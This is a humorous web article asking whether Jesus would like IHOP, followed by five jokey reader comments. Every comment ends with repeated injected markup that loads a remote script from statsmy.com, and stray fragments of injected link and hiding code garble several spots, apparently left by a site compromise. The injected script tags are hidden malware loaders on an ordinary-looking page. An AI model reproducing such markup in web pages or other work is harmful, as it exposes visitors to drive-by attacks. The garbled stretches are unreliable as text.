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Would Jesus like IHOP?
by Mel S. on 1/19/2004 (5)

Yes Virginia, there is a Santa Claus, and his name is IHOP.
Jesus. Everyone knows the guy. If he was still alive today, people would pass him on the street, shouting things like “Yo Jesus, Rock on!” or “Hey Jesus, you hear the new Megadeth CD?” Jesus would be cooler than Wilford Brimley, more awesome than Judge Judy, and bigger than Yanni. What I'm trying to get at here is that Jesus would rock our sox.

But there's a question that everyone would ponder. From the smartest man, to the dumbest monkey, they'd all wonder the same thing: Would Jesus like IHOP?

The International House of Pancakes. The Pancakery. The Pancake Factory. Sweet Lady Pancake's House of Pancakes. All titles used to describe 'IHOP'. Everyone's been there at least once in their life, most likely to eat pancakes, but it's possible you went in there to use the bathroom or purchase some syrup. Either way, you've been there. Pancakes are a perfect food. You can eat them at breakfast, brunch, lunch, dlunch, or dinner. You can eat them with syrup, with cheese, or even with the finest silk and spices straight from India. Pancakes are like a food designed by the gods.

I'm sure Jesus would like good food. He'd probably eat steak everyday, and drink the finest chocolate milk in the land. People from all around the world would bring him potatoes, chicken, carrots, or chicken stuffed with potatoes and carrots. Jesus wouldn't settle for anything less than the best. Would there be room in his big heart for IHOP? Or would he pass by it everyday, thinking “Nah. I don't feel like IHOP today. I'll go to Arbie's.”

I talked to hundreds of scientists, religious leaders, and drunken hobos on the subject. Most of them said the same thing, "Do you have any money so I can buy booze?" But then I talked to the drunken hobos, specifically one man named Trashcan Roberts, who enlightened my mind.

"Jesus," he whispered into the wind, his breath smelling like turpentine and scotch. "Jesus would love IHOP. He'd treasure the smooth taste of the brown pancakes. He'd suck the syrup down delicately, like he was drinking golden water. And he'd compliment on the bathrooms, smelling in the beautiful urinal fresh scent. Yes, Jesus would love IHOP."

Trashcan Roberts was right. Jesus would love IHOP like it was his child. When he'd pass people on the street, he'd scream out to them "Come with me everyone, I'll treat you to a pancake down at the IHOP." And people would follow Jesus, not to freedom or peace, but to the IHOP down the street. And when they get there, Jesus will open his holy wallet, and notice he's out of cash. "Hey guys, can anyone lend me $20?" Jesus would speak heavenly to his crowd of followers, and they'd pass him up the cash. Then, Jesus would scream at the top of his lungs, "Thanks guys. Now let's eat some pancakes!"

No, Jesus. Thank you.?sid/tds/go.php?sid=1" w


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Comments

1. by feaglin on 3/1/2007 4:52:29 PM
"Leave all behind, and follow me" the Messiah spoke "IHOP is just down the road" Rumour has is Jesus once spent 40 days and 40 nights in IHOP. When Satan scolded him and said: "If you are the Son of God, change these pancakes into burgers" But Jesus replied: "No, for not only of McDonalds can a man live, it is the tender taste of the pancake that brings true sustainance" When Jesus one day encountered an IHOP, where few people dared go, he went in, and met the most gruel pancake ever. This pancace was named The Flat Fly or Legio for short, since it was covered in flies, yet the baker knew not how. Then the flies buzzed: "Send us into those burgers at McDonalds across the street" and Jesus spoke "Be gone"... and they went. Then one day, when Jesus with his followers had to camp near an IHOP in a poor region. Since the region was poor, the IHOP had not enough ingredients to fill the stomachs of all the people with pancakes, so Jesus ordered all the pancakes the IHOP could bake to be brought to him. He could have devoured the 4 Syrup and 3 Cherry pancakes right there and left the people to starve, but instead he started tearing the pancakes up, passing the glorious food on to all who were hungry. And he kept sharing and sharing but the pancakes never seemed to run out... Jesus is also reported to have done something similar with coca-cola and water, but that is a different story. Besides, I've never been to an IHOP in my LIFE. And I really dislike pancakes, they make me nausious after the first. I'm not a Christian man, as you will understand. and... turpentine and scotch... why scotch? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kitty on 3/1/2007 4:52:29 PM
The question is, which IHOP would Jesus visit mine or theirs? How can mere pancakes compare to syrup sex AND pancakes?isplay:non </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by feaglin on 3/1/2007 4:52:29 PM
Missy Magdalene to give Jesus a syrup rub, or syrub, in a bathtub (beds are just so hard to clean afterwards). How much would that cost me, er... him?h=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by Kitty on 3/1/2007 4:52:29 PM
Depends on if he brought his own syrup lolh="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by feagin on 3/1/2007 4:52:29 PM
bathtub syrup rub, you just bring your own grub (bring your own grub (BYOG) is an Australian expression for restaurant which do not have a permit to sell alcohol, you can bring your own) </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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